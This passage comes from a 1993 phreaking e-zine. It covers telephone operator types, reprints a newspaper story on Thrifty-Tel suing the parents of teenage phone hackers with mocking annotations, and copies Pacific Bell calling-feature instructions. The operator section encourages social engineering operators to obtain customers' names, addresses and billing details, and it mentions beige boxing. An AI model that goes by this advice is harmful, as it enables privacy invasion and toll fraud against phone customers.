The CN/A (Customer Name and Address, now changed to location only in some
areas) operator is an operator accustomed with dealing with other telephone
company employees. The CN/A bureau is designed for linemen (or other
telephone employees) to easily obtain simple information on a customer solely
from their telephone number. These operators assume that you are an employee
of the network and are quite liberal with information. Social engineering is
quite easy and much useful information can be obtained on a person through
the CN/A operator. [In some areas this number is listed in the telephone
book, otherwise it can be obtained from most PiRaTeS.]
Billing Operators
-----------------
These are quite powerful operators. They have immediate access to the
information and ANI of the telephone you are calling from. They usually begin
with asking your name and calling number to verify if you are the billing
person. Social engineering is possible if you are beige boxing, or if yo
know all the information on the person paying the bill on the telephone you
are using. They have the ability to perform any task on line maintenance etc.
They are quite knowledgeable and are willing to assist.
Conference Operators
--------------------
This operator knows little and can do less. They perform one task and only
one task. Other than getting information on the different types of
conferences or establishing a conference they are a waste of time to talk to.
Rogue Operators
---------------
These operators are quite knowledgeable and powerful. Their duty is to roam
the network and assist when needed (They are usually powerful supervisers,
etc.). Because of their knowledge and experiences dealing with phreaks, etc.
they are reluctant to give out information (also they are not on the line to
talk, they are there because the operator they are filling in for is busy,
etc.). Like most people they are succeptable to social engineering.
Usually an operator is nice and helpful, if a problem arises with one be sure
to get their operator number (or name) and ask to speak to their supervisor.
The supervisor is quite helpful and will immediately rectify the situation.
For further information on the network or you have more questions on the
system contact your TSPS operator and request the number to the closest
Research Department.
Next time - Switching equipment, COCOTS, maybe more, maybe less.
ELeCTRoNiC VaMPYRe '93
(--------------------------------------------------------)
Thrifty Tel Inc.
by Chaos
(--------------------------------------------------------)
* The following is an exert from the Times Advocate, Monday,
* April 12, 1993, page B1 section 1.
Jeffrey Cushing knew his teen-age son was a "computer-freek,"
[gee this guy sure did his research, would it not be PHreak with a
PH?] spending hours hunched over a bedroom keyboard, playing games
and tapping out messages to friends.
It seemed like wholesome, high-tech fun - until Cushing was
sued last April by a Garden Grove telephone company that accused
his son of hacking into its long-distance lines.
The tab: $80,000. "I was in shock," said Cushing, a 51 year-
old advertising executive from Huntington Beach. "All of a sudden
this guys knocks on the door at 9 p.m. and serves me with this
humongous suit."
The war against hackers who steal longdistance telephone time
has left a trail of slackjawed parents throughout California.
Hit with lawsuits, search warrants and demands for damages,
many parents are gulping hard and paying the toll for telephone
fraud.
The practice isn't limited to Orange County, either.
Recently, the parents of an Escondido boy caught hacking were
ordered to pay $33,000 in damages by an Orange County judge.
Although no record is kept, some industry analysts estimate
that telephone fraud drains as much as $5 billion a year from
companies nation wide. [From profit that they could have made, not
acutal lost money, keep this in mind]
"Fraud on the (telephone) network is still one of the most
devastating thing to longdistance companies, especially the smaller
ones," said Jim Smith, vice president of the 34-member California
Association of Long Distance Telephone Companies.
The culprits are juveniles, whose parents know little about
computers and less about what their children are doing with them.
At the forefront in pursuing the dial-tone desperados is
Thrifty-Tel Inc. of Garden Grove, which in 1990 became the first
telephone company to impose a tariff on hackers.
The idea was copied by several other small phones companies in
California, although Thrifty's tariff remains the highest at
$2,880, per day, per line.
As part of every settlement, Thrifty also confiscates the
offending computer.
"This is designed to spank'em hard. it can (financially) wipe
out a family," said Dale L. herring, Thrifty's director of
security. "I sympathize, to some extent, but why should our
company absorb the loss? Giving their kids a computer and a modem
is like giving them a loaded gun."
Thrifty estimates its hacker losses at $22,000 a month.
Over the past three years the company has recovered nearly $1
million and has nabbed 125 hackers - the vast majority of them
juveniles. About 24 cases were prosecuted with nearly all the
defendants pleading guilty.
Early this month Thrifty busted a 10-member ring of teen-age
hackers stretching from La Habra to Mission Viejo.
Criminal charges are pending against one of the suspects, a
19-year-old Irvine man who is accused of having called Thrifty's
computer system 6,435 times in 24 days. More than 1,000 calls came
on Christmas.
The bill for Thrifty: $75,000.
For the novice, hacking programs with names such as "Code
Thief Deluxe" are widely available and can be downloaded without
charge from computer bulletin boards.
"It's becoming a subculture. Just as kids were sucked into
'Dungeons and Dragons' they're being sucked into hacking," said
Herring of Thrifty.
Often teen-age hackers are highly intelligent loners, addicted
to the worldwide computer bulletin boards that allow them to
communicate with others of their ilk.
"But they run up $300 to $400 in monthly phone bills, their
parents go ballistic, so they turn to hacking," Herring said.
Unknown to the young hackers, some calls can be traced.
[Notice this SOME] Digging through stacks of computer printouts,
Herring and other experts at Thrifty have followed the electronic
trail over the past three years to :
* A high school student in Santa Ana who was blamed for more than
$240,000 in losses to Thrifty and two other longdistance companies
in 1991. The boy pleaded guilty to telephone fraud.
* A six-member ring of San Diego high school students who raided
the system in March. Tehir families are paying more than $100,000
in damages.
Herring said the response from parents is always the same.
"Their first reaction is they want to kill their kids. Then, 24
hours later, they want to kill us," Herring said.
Last year, a 63-year-old father from San Diego responded to
Thrifty's demand for $16,000 by filing a harassment suit. The man
contended that he suffered from a nervous condition and had been
warned by his doctor to avoid emotional shock.
And what could be more shocking then begin hit with Thrifty's
$2,880-a-day tariff, which the Public Utilities Commision approved
in 1990?
The tariff is meant to recover the costs of investigating
hackers, paying attorneys and losing customers who've been
victimized.
While the fee has been upheld in court, some parents complain
that it is unfar and inflated. The actual cost of the pirated
phone calls ammounts to only a small part of the huge damages
sought by Thrifty.
Part of Thrifty's aggression in civil court comes from its
growing inability to get the hackers into criminal court.
(--------------------------------------------------------)
New Pacific Bell Features
by Chaos
(--------------------------------------------------------)
Repeat Dialing
~~~~~~~~~~~~~~
It happens often. You need to make an important call--but the
phone number you're trying to reach is busy. You could keep
trying. But it's a lot easier to let Repeat Dialing keep trying
for you.
Repeat Dialing redials the last phone number you called, and keeps
trying ever 45 seconds for up to 30 minutes.
To use repeat dialing :
To call back the last number you dialed
* Hang up;lift receiver;wait for dialtone
* Press *66 (Rotary phone dial 1166).
If this line is now free, your call will go through as usual.
If the line is still busy:
* Wait for recorded instructions. They will tell you what to do
next. Then hangup.
* Use your phone as usual to make or receive calls. When you
line and the line you're trying to reach are both free :
* Your phone will signal you with a distinctive ring.
* Lift your receiver. Your call will be places automatically.
Select Call Forwarding
~~~~~~~~~~~~~~~~~~~~~~
You have to go out--but you're also expecting an important call.
Now you can have that call forwarded to you--and other important
calls, too. But you won't have to get the unimportant ones. Now
you can select just the calls you want with Select Call Forwarding.
To use select call forwarding:
* Lift receiver; wait for dial tone.
* Press *63 (Rotart phone dial 1163).
* Dial 3;wait until recorded instructions begin.
To enter your forwarding phone number.
* Enter phone number where calls should go, then press # (Rotary
phone simply dial phone number).
* If the phone number is correct, dial 1.
* If the phone number is not correct dial 0; then enter the
correct forwarding phone number,
* Wait for confirmation announcment.
Priority Ringing
~~~~~~~~~~~~~~~~
Wouldn't it be nice to know--before answering--if a phone call was
from somebody you really wanted to talk to? Now, with Priority
Ringing, your telephone will tell you when a call is important.
To use priority ringing:
* Lift receiver; wait for dial tone.
* Press *61 (Rotary dial 1161).
* Dial 3
* Use list editing commands
Notice
~~~~~~
The new Custom Calling servies are not available with some types of
telephone services and are not available in some areas. These
services work only on calls to and from locations within the same
calling area. If you have dificulty using a feature from a
particular phone number, contact your local Pacific Bell Business
Office for information about specific telephone prefixes currently
included in your Service Area.
Misc. Info
~~~~~~~~~~
Remember, send all mail to :
MAGIK@pnet01.cts.com VIA Internet or (lamers) WWiVNeT #151 @16964
(-eof-)
